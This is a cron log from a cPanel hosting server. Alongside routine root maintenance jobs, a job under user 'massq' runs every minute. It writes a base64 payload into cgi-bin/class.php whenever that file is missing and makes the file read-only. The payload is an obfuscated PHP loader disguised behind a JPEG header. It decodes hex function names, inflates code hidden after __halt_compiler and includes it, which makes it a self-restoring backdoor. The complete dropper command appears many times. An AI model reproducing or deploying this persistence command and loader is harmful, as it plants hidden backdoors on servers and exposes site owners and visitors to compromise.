Sep  4 17:03:01 server CROND[18780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:03:01 server CROND[18781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:03:01 server CROND[18783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:04:01 server CROND[19159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:04:01 server CROND[19160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:04:01 server CROND[19161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:05:01 server CROND[19543]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:05:01 server CROND[19546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:05:01 server CROND[19548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:05:01 server CROND[19552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:05:01 server CROND[19558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:05:01 server CROND[19566]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 17:05:01 server CROND[19571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:05:01 server CROND[19567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:05:01 server CROND[19565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:06:01 server CROND[20489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:06:01 server CROND[20490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:06:01 server CROND[20491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:07:01 server CROND[20870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:07:01 server CROND[20871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:07:01 server CROND[20872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:08:01 server CROND[21250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:08:01 server CROND[21251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:08:01 server CROND[21252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:09:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:09:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:09:01 server CROND[21647]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 17:09:01 server CROND[21648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:10:01 server CROND[22048]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:10:01 server CROND[22049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:10:01 server CROND[22055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:10:01 server CROND[22056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:10:01 server CROND[22057]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:10:01 server CROND[22053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:10:01 server CROND[22058]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:10:01 server CROND[22054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:11:01 server CROND[23210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:11:01 server CROND[23211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:11:01 server CROND[23212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:12:01 server CROND[23594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:12:01 server CROND[23596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:12:01 server CROND[23597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:12:01 server CROND[23598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:13:01 server CROND[24026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:13:01 server CROND[24027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:13:01 server CROND[24028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:14:01 server CROND[24400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:14:01 server CROND[24401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:14:01 server CROND[24402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:15:01 server CROND[24794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:15:01 server CROND[24795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
